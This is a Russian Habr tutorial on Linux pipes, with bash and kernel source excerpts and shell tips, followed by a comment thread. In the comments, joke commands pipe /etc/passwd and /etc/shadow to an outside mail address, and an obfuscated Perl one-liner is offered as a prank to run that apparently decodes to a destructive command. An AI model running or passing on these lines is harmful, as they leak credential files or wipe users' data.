Пользователь
0,0
рейтинг
25 сентября 2013 в 13:22

Администрирование → Linux pipes tips & tricks из песочницы tutorial

Pipe — что это?


Pipe (конвеер) – это однонаправленный канал межпроцессного взаимодействия. Термин был придуман Дугласом Макилроем для командной оболочки Unix и назван по аналогии с трубопроводом. Конвейеры чаще всего используются в shell-скриптах для связи нескольких команд путем перенаправления вывода одной команды (stdout) на вход (stdin) последующей, используя символ конвеера ‘|’:
cmd1 | cmd2 | .... | cmdN

Например:
$ grep -i “error” ./log | wc -l
43

grep выполняет регистронезависимый поиск строки “error” в файле log, но результат поиска не выводится на экран, а перенаправляется на вход (stdin) команды wc, которая в свою очередь выполняет подсчет количества строк.

Логика


Конвеер обеспечивает асинхронное выполнение команд с использованием буферизации ввода/вывода. Таким образом все команды в конвейере работают параллельно, каждая в своем процессе.

Размер буфера начиная с ядра версии 2.6.11 составляет 65536 байт (64Кб) и равен странице памяти в более старых ядрах. При попытке чтения из пустого буфера процесс чтения блокируется до появления данных. Аналогично при попытке записи в заполненный буфер процесс записи будет заблокирован до освобождения необходимого места.
Важно, что несмотря на то, что конвейер оперирует файловыми дескрипторами потоков ввода/вывода, все операции выполняются в памяти, без нагрузки на диск.
Вся информация, приведенная ниже, касается оболочки bash-4.2 и ядра 3.10.10.

Простой дебаг


Утилита strace позволяет отследить системные вызовы в процессе выполнения программы:
$ strace -f bash -c ‘/bin/echo foo | grep bar’
....
getpid() = 13726                   <– PID основного процесса
...
pipe([3,  4])                       <– системный вызов для создания конвеера
....
clone(....) = 13727                <– подпроцесс для первой команды конвеера (echo)
...
[pid 13727] execve("/bin/echo",  ["/bin/echo",  "foo"],  [/* 61 vars */] 
.....
[pid 13726] clone(....) = 13728    <– подпроцесс для второй команды (grep) создается так же основным процессом
...
[pid 13728] stat("/home/aikikode/bin/grep",   
...
Видно, что для создания конвеера используется системный вызов pipe(), а также, что оба процесса выполняются параллельно в разных потоках.

Много исходного кода bash и ядра

Исходный код, уровень 1, shell


Т. к. лучшая документация — исходный код, обратимся к нему. Bash использует Yacc для парсинга входных команд и возвращает ‘command_connect()’, когда встречает символ ‘|’.
parse.y:
1242 pipeline:   pipeline ‘|’ newline_list pipeline
1243             { $$ = command_connect ($1,  $4,  ‘|’); }
1244     |       pipeline BAR_AND newline_list pipeline
1245             {
1246               /* Make cmd1 |& cmd2 equivalent to cmd1 2>&1 | cmd2 */
1247               COMMAND *tc;
1248               REDIRECTEE rd,  sd;
1249               REDIRECT *r;
1250 
1251               tc = $1->type == cm_simple ? (COMMAND *)$1->value.Simple : $1;
1252               sd.dest = 2;
1253               rd.dest = 1;
1254               r = make_redirection (sd,  r_duplicating_output,  rd,  0);
1255               if (tc->redirects)
1256               {
1257                   register REDIRECT *t;
1258                   for (t = tc->redirects; t->next; t = t->next)
1259                       ;
1260                   t->next = r;
1261               }
1262               else
1263                   tc->redirects = r;
1264 
1265               $$ = command_connect ($1,  $4,  ‘|’);
1266             }
1267     |       command
1268             { $$ = $1; }
1269     ;
Также здесь мы видим обработку пары символов ‘|&’, что эквивалентно перенаправлению как stdout, так и stderr в конвеер. Далее обратимся к command_connect():make_cmd.c:
194 COMMAND *
195 command_connect (com1,  com2,  connector)
196      COMMAND *com1,  *com2;
197      int connector;
198 {
199   CONNECTION *temp;
200 
201   temp = (CONNECTION *)xmalloc (sizeof (CONNECTION));
202   temp->connector = connector;
203   temp->first = com1;
204   temp->second = com2;
205   return (make_command (cm_connection,  (SIMPLE_COM *)temp));
206 }
где connector это символ ‘|’ как int. При выполнении последовательности команд (связанных через ‘&’, ‘|’, ‘;’, и т. д.) вызывается execute_connection():execute_cmd.c:
2325     case ‘|’:
...
2331       exec_result = execute_pipeline (command,  asynchronous,  pipe_in,  pipe_out,  fds_to_close);

PIPE_IN и PIPE_OUT — файловые дескрипторы, содержащие информацию о входном и выходном потоках. Они могут принимать значение NO_PIPE, которое означает, что I/O является stdin/stdout.
execute_pipeline() довольно объемная функция, имплементация которой содержится в execute_cmd.c. Мы рассмотрим наиболее интересные для нас части.
execute_cmd.c:
2112   prev = pipe_in;
2113   cmd = command;
2114
2115   while (cmd && cmd->type == cm_connection &&
2116   cmd->value.Connection && cmd->value.Connection->connector == ‘|’)
2117     {
2118       /* Создание конвеера между двумя командами */
2119       if (pipe (fildes) < 0)
2120       { /* возвращаем ошибку */ }
.......
           /* Выполняем первую команду из конвейера,  используя в качестве
              входных данных prev — вывод предыдущей команды,  а в качестве
              выходных fildes[1] — выходной файловый дескриптор,  полученный
              в результате вызова pipe() */
2178       execute_command_internal (cmd->value.Connection->first,  asynchronous, 
2179         prev,  fildes[1],  fd_bitmap);
2180 
2181       if (prev >= 0)
2182           close (prev);
2183 
2184       prev = fildes[0];    /* Наш вывод становится вводом для следующей команды */
2185       close (fildes[1]);
.......
2190       cmd = cmd->value.Connection->second;  /* “Сдвигаемся” на следующую команду из конвейера */
2191     }
Таким образом, bash обрабатывает символ конвейера путем системного вызова pipe() для каждого встретившегося символа ‘|’ и выполняет каждую команду в отдельном процессе с использованием соответствующих файловых дескрипторов в качестве входного и выходного потоков.

Исходный код, уровень 2, ядро


Обратимся к коду ядра и посмотрим на имплементацию функции pipe(). В статье рассматривается ядро версии 3.10.10 stable.
fs/pipe.c (пропущены незначительные для данной статьи участки кода):
/*
    Максимальный размер буфера конвейера для непривилегированного пользователя.
    Может быть выставлен рутом в файле /proc/sys/fs/pipe-max-size
  */
  35 unsigned int pipe_max_size = 1048576; 
   /*
     Минимальный размер буфера конвеера,  согласно рекомендации POSIX
     равен размеру одной страницы памяти,  т.е. 4Кб
    */
  40 unsigned int pipe_min_size = PAGE_SIZE;

 869 int create_pipe_files(struct file **res,  int flags)
 870 {
 871     int err;
 872     struct inode *inode = get_pipe_inode();
 873     struct file *f;
 874     struct path path;
 875     static struct qstr name = {. name = “” };
         /* Выделяем dentry в dcache */
 881     path.dentry = d_alloc_pseudo(pipe_mnt->mnt_sb,  &name);
         /* Выделяем и инициализируем структуру file. Обратите внимание
            на FMODE_WRITE,  а также на флаг O_WRONLY,  т.е. эта структура
            только для записи и будет использоваться как выходной поток
            в конвеере. К флагу O_NONBLOCK мы еще вернемся. */
 889     f = alloc_file(&path,  FMODE_WRITE,  &pipefifo_fops);
 893     f->f_flags = O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT));
         /* Аналогично выделяем и инициализируем структуру file для чтения
            (см. FMODE_READ и флаг O_RDONLY) */
 896     res[0] = alloc_file(&path,  FMODE_READ,  &pipefifo_fops);
 902     res[0]->f_flags = O_RDONLY | (flags & O_NONBLOCK);
 903     res[1] = f;
 904     return 0;
 917 }
 918
 919 static int __do_pipe_flags(int *fd,  struct file **files,  int flags)
 920 {
 921     int error;
 922     int fdw,  fdr;
         /* Создаем структуры file для файловых дескрипторов конвеера
            (см. функцию выше) */ 
 927     error = create_pipe_files(files,  flags);
         /* Выбираем свободные файловые дескрипторы */
 931     fdr = get_unused_fd_flags(flags);
 936     fdw = get_unused_fd_flags(flags);
 941     audit_fd_pair(fdr,  fdw);
 942     fd[0] = fdr;
 943     fd[1] = fdw;
 944     return 0;
 952 }
     /* Непосредственно имплементация функций
        int pipe2(int pipefd[2],  int flags)... */
 969 SYSCALL_DEFINE2(pipe2,  int __user *,  fildes,  int,  flags)
 970 {
 971     struct file *files[2];
 972     int fd[2];
         /* Создаем структуры для ввода/вывода и ищем свободные дескрипторы */
 975     __do_pipe_flags(fd,  files,  flags);
         /* Копируем файловые дескрипторы из kernel space в user space */
 977     copy_to_user(fildes,  fd,  sizeof(fd));
         /* Назначаем файловые дескрипторы указателям на структуры */
 984     fd_install(fd[0],  files[0]);
 985     fd_install(fd[1],  files[1]);
 989 }
     /* ...и int pipe(int pipefd[2]),  которая по сути является
        оболочкой для вызова pipe2 с дефолтными флагами; */
 991 SYSCALL_DEFINE1(pipe,  int __user *,  fildes)
 992 {
 993     return sys_pipe2(fildes,  0);
 994 }
Если вы обратили внимание, в коде идет проверка на флаг O_NONBLOCK. Его можно выставить используя операцию F_SETFL в fcntl. Он отвечает за переход в режим без блокировки I/O потоков в конвеере. В этом режиме вместо блокировки процесс чтения/записи в поток будет завершаться с errno кодом EAGAIN.

Максимальный размер блока данных, который будет записан в конвейер, равен одной странице памяти (4Кб) для архитектуры arm:
arch/arm/include/asm/limits.h:
 8 #define PIPE_BUF    PAGE_SIZE
Для ядер >= 2.6.35 можно изменить размер буфера конвейера:
fcntl(fd,  F_SETPIPE_SZ,  <size>)
Максимально допустимый размер буфера, как мы видели выше, указан в файле /proc/sys/fs/pipe-max-size.

Tips & trics


В примерах ниже будем выполнять ls на существующую директорию Documents и два несуществующих файла: ./non-existent_file и. /other_non-existent_file.

  1. Перенаправление и stdout, и stderr в pipe

    ls -d ./Documents ./non-existent_file ./other_non-existent_file 2>&1 | egrep “Doc|other”
    ls: cannot access ./other_non-existent_file: No such file or directory
    ./Documents
    
    или же можно использовать комбинацию символов ‘|&’ (о ней можно узнать как из документации к оболочке (man bash), так и из исходников выше, где мы разбирали Yacc парсер bash):
    ls -d ./Documents ./non-existent_file ./other_non-existent_file |& egrep “Doc|other”
    ls: cannot access ./other_non-existent_file: No such file or directory
    ./Documents
    

  2. Перенаправление _только_ stderr в pipe

    $ ls -d ./Documents ./non-existent_file ./other_non-existent_file 2>&1 >/dev/null | egrep “Doc|other”
    ls: cannot access ./other_non-existent_file: No such file or directory
    
    Shoot yourself in the foot
    Важно соблюдать порядок перенаправления stdout и stderr. Например, комбинация ‘>/dev/null 2>&1′ перенаправит и stdout, и stderr в /dev/null.


  3. Получение корректного кода завершения конвейра

    По умолчанию, код завершения конвейера — код завершения последней команды в конвеере. Например, возьмем исходную команду, которая завершается с ненулевым кодом:
    $ ls -d ./non-existent_file 2>/dev/null; echo $?
    2
    
    И поместим ее в pipe:
    $ ls -d ./non-existent_file 2>/dev/null | wc; echo $?
          0       0       0
    0
    
    Теперь код завершения конвейера — это код завершения команды wc, т.е. 0.

    Обычно же нам нужно знать, если в процессе выполнения конвейера произошла ошибка. Для этого следует выставить опцию pipefail, которая указывает оболочке, что код завершения конвейера будет совпадать с первым ненулевым кодом завершения одной из команд конвейера или же нулю в случае, если все команды завершились корректно:
    $ set -o pipefail
    $ ls -d ./non-existent_file 2>/dev/null | wc; echo $?
          0       0       0
    2
    
    Shoot yourself in the foot
    Следует иметь в виду “безобидные” команды, которые могут вернуть не ноль. Это касается не только работы с конвейерами. Например, рассмотрим пример с grep:
    $ egrep “^foo=[0-9]+” ./config | awk ‘{print “new_”$0;}’
    
    Здесь мы печатаем все найденные строки, приписав ‘new_’ в начале каждой строки, либо не печатаем ничего, если ни одной строки нужного формата не нашлось. Проблема в том, что grep завершается с кодом 1, если не было найдено ни одного совпадения, поэтому если в нашем скрипте выставлена опция pipefail, этот пример завершится с кодом 1:
    $ set -o pipefail
    $ egrep “^foo=[0-9]+” ./config | awk ‘{print “new_”$0;}’ >/dev/null; echo $?
    1
    
    В больших скриптах со сложными конструкциями и длинными конвеерами можно упустить этот момент из виду, что может привести к некорректным результатам.


  4. Присвоение значений переменным в конвейере

    Для начала вспомним, что все команды в конвейере выполняются в отдельных процессах, полученных вызовом clone(). Как правило, это не создает проблем, за исключением случаев изменения значений переменных.
    Рассмотрим следующий пример:
    $ a=aaa
    $ b=bbb
    $ echo “one two” | read a b
    
    Мы ожидаем, что теперь значения переменных a и b будут “one” и “two” соответственно. На самом деле они останутся “aaa” и “bbb”. Вообще любое изменение значений переменных в конвейере за его пределами оставит переменные без изменений:
    $ filefound=0
    $ find . -type f -size +100k |
        while true
        do
            read f
            echo “$f is over 100KB”
            filefound=1
            break          # выходим после первого найденного файла
        done
    $ echo $filefound;
    
    Даже если find найдет файл больше 100Кб, флаг filefound все равно будет иметь значение 0.
    Возможны несколько решений этой проблемы:
    • использовать
      set -- $var
      

      Данная конструкция выставит позиционные переменные согласно содержимому переменной var. Например, как в первом примере выше:
      $ var=”one two”
      $ set -- $var
      $ a=$1   # “one”
      $ b=$2   # “two”
      
      Нужно иметь в виду, что в скрипте при этом будут утеряны оригинальные позиционные параметры, с которыми он был вызван.
    • перенести всю логику обработки значения переменной в тот же подпроцесс в конвейере:
      $ echo “one” | (read a; echo $a;)
      one 
      
    • изменить логику, чтобы избежать присваивания переменных внутри конвеера.
      Например, изменим наш пример с find:
      $ filefound=0
      $ for f in $(find . -type f -size +100k)  # мы убрали конвейер,  заменив его на цикл
          do
              read f
              echo “$f is over 100KB”
              filefound=1
              break
          done
      $ echo $filefound;
      
    • (только для bash-4.2 и новее) использовать опцию lastpipe
      Опция lastpipe дает указание оболочке выполнить последнюю команду конвейера в основном процессе.
      $ (shopt -s lastpipe; a=”aaa”; echo “one” | read a; echo $a)
      one
      
      Важно, что в командной строке необходимо выставить опцию lastpipe в том же процессе, где будет вызываться и соответствующий конвейер, поэтому скобки в примере выше обязательны. В скриптах скобки не обязательны.

Дополнительная информация


Ковалев Денис @aikikode
карма
23,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Администрирование

Комментарии (36)

  • 0
    Спасибо, очень интересная статься… но как всегда нужна мера, чтобы не полочалось такого:

    # odmget -q «attribute=num and uniquetype=pty/pty/pty» PdAt | sed «s/0-64/0-512/» | odmchange -q «attribute=num and uniquetype=pty/pty/pty» -o PdAt

    потом разбираться сложно :)
    • 0
      Самое интересное так dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

      или так

      tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=«1;32» grep --color "[^ ]"
  • –3
    Не хотелось бы никого обижать, но что нового привнесла эта статья? Что хотел донести автор? Свой восторг от открытия pipe?
    Как бы то ни было, название точно не соответствует содержимому.
    • –2
      1-курсник видимо, Робаческого проходят, пайпы :)
  • –1
    pipefail — это костыль мешающей работе!
    Если утиль ничего не вернула это тоже результат, а не ошибка!
    • +3
      Я бы вообще pipefail по дефолту ставил. Он роняет пайп не когда утиль ничего не вернула, а когда утиль сама вернула ненулевой код возврата, всё правильно делает.
      • –1
        Утиль не может ничего вернуть, выход из main() всегда равен нулю, если не указанно иного и нет ошибки.
        К тому, что летает по трубе, это ваще никак не относится.

        Если пишешь скрипты, у тебя весь канал должен отрабатывать пустые результаты.
        • +1
          Окей, смотри.

          Каждый бинарник в пайпе возвращает три вещи:
          1. exit code
          2. stderr
          3. stdout

          stderr традиционно игнорируется (на самом деле в итоге выдается пользователю)
          stdout идёт на вход следующей утилите
          exit code — если не ставить опций, то игнорируется для всех команд кроме последней

          Ненулевой exit code, и пустой stdout — это разные вещи. Пустой stdout безусловно должен обрабатываться корректно и не является ошибкой, но это так и происходит, независимо от наличия опции pipefail.

          Рассмотрим такой пайп:
          cat foo | sed 's/abra/cadabra/g'


          Если файл foo пустой, то всё будет работать как и в общем случае, ничего не ломается.

          Но при отсутствии файла foo команда cat вернёт не только пустой output, но и не нулевой код возврата. И если мы хотим этот случай отличить от пустого файла а- мы должны ставить опцию pipefail, иначе падение команды cat будет проигнорировано.
        • +1
          Так вам и говорят про ситуацию, когда выход из main() не равен нулю.

          Не про пустой результат, а про код возврата.

          Попробуйте с set -o pipefail сделать (true | cat) && echo True || echo False, а потом замените true на false. В случае с true будет выведено «True», в случае с false — «False», но без set -o pipefail в обоих случаях будет «True». При этом ни true, ни false ничего не пишут в stdout
      • –1
        Вот там в примере, grep который возвращает 1 в случае нулевого результата,… ну и хрен бы с ним,
        сделай так чтоб следующий за ним тоже вернул ноль.

        Для полного феншуя, нужно разделять проверку на код возврата и сравнения строк,
        не мешать функции strcmp() и математические: <, >, =, !=

        • +1
          grep который возвращает 1 в случае нулевого результата

          Да, неудобно. Решается вызовом
          first-command | (grep "foo" || true) | next-command


          Немного некрасиво, но лучше чем без pipefail. Пайпы без pipefail, это как bash-скрипт без «set -e». Это как программа, где каждый оператор заключён в try с пустым блоком catch.
          • –8
            Какие try, catch… юзай PHP/Perl/Ruby при чем тут баш?!
            • +5
              // В zsh есть аналог try-finally с возможностью проигнорировать ошибки (но без полноценного catch).

              Вообще‐то в сообщении, на который вы отвечаете, try-catch приводился в качестве аналогии. Ваш ответ соответствует сообщению, на который вы отвечаете, не более, чем абзац выше соответствует вашему сообщению.

              Если бы в качестве аналогии было приведено «это как переходить дорогу, никогда не глядя на светофор», вы бы тоже сказали «Какие светофоры… прогуляйся на улице при чем тут баш?!»?
  • –2
    Ах да, автор — забыл: document here

    grep root < /etc/passwd | mail -s "Thank you"  archive@nsa.gov
    
    • 0
      тогда уж
      grep root < /etc/shadow | mail -s "Thank you"  archive@nsa.gov
      
      • –2
        В АНБ порадуются
        bash: /etc/shadow: Permission denied
        

        :)
        • 0
          Очевидно же:
          • –3
            От рута тестишь? Ну тогда иди сразу сдавайся всем спецслужбам мира )
            • +2
              Смысл не из-под рута запускать
              perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
              
              ?
              • 0
                Минусуют проверившие классический однострочник?
    • +1
      Это не document here, это перенаправление входного дескриптора из файла. Document here — это
      cat << EOF
      blah-blah-blah
      EOF
      
      • –3
        Ну тогда поведуй всему миру, чем отличаются << и >> от < и >
        • +1
          По вашим комментариям сдаётся мне, что вы, уважаемый, сам поведуй не в себе.
          • –6
            Я б сказал, но тут Дерьмократия, за свободу слова банят!
            • +3
              Неуважительно общаться с собеседниками — это не свобода слова. Хабр — не OpenNet, и это несказанно радует!
  • +3
    Мне ещё нравится process substitution (башизм, но в, например, zsh он тоже есть). Если есть какая-то программа, принимающая в качестве аргумента файл, можно вместо этого файла подсунуть pipe.
    Для примера rsync, которому можно передать файл со списком файлов:
    get_file_list() {
        # все названия выдуманы, совпадения случайны
        find . -name "*.py"
        find www
        echo run
    }
    rsync \
        -t \
        -vv \
        --files-from=<(get_file_list) \
        . \
        $DESTINATION \
    • 0
      А если нам при этом нужен seek, то только zsh и =(command) — тоже process substitution, но вместо pipe подставляет временный файл.
  • +9
    Так и не увидел tricks.

    Ни слова про контролирование скорости передачи в пайпе, ни про именованные пайпы.
    • 0
      Именованные пайпы — это которые mkfifo?
      • 0
        Ага. Я их использовал для обмана программ, которые ну точно не хотели писать на stdout в пайп.
  • +3
    Ещё один способ получить коды завершения элементов контейнеров
    man bash
    PIPESTATUS An array variable (see Arrays below) containing a list of exit status values from the processes in the most-recently-executed foreground pipeline (which may contain only a single command).
  • 0
    Таким образом, bash обрабатывает символ конвейера путем системного вызова pipe() для каждого встретившегося символа ‘|’ и выполняет каждую команду в отдельном процессе с использованием соответствующих файловых дескрипторов в качестве входного и выходного потоков.
    то есть не
    все команды в конвейере работают параллельно
    а только две, причем вторая ждет вывода от первой. Собственно не совсем асинхронно. Процессы то может запущены и параллельно, но работу они делают последовательно, после получения порции данных на вход. Кажется так?
    • 0
      Нет. Первая выдала порцию данных, вторая уже может начинать работать. Первая тем временем продолжает генерировать новые данные. Потом через какое-то время данные дойдут и до третьей команды и т.д.

      При наличии достаточно больших буферов, и отсутствия узких мест — никакие из процессов не будут ждать, все будут активно работать.

      По факту же да, бывает что одна из команд обрабатывает данные медленнее чем другие, поэтому большую часть времени остальные ждут её (причем как те кто перед ней, так и те что после неё). Но всё равно работает быстрее чем если бы мы обрабатывали последовательно.
  • 0
    Кстати, в цитате из ядра нираскрыта самая интересная тема — как собственно передаются данные. Кого волнует инициализация структур, в самом деле.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.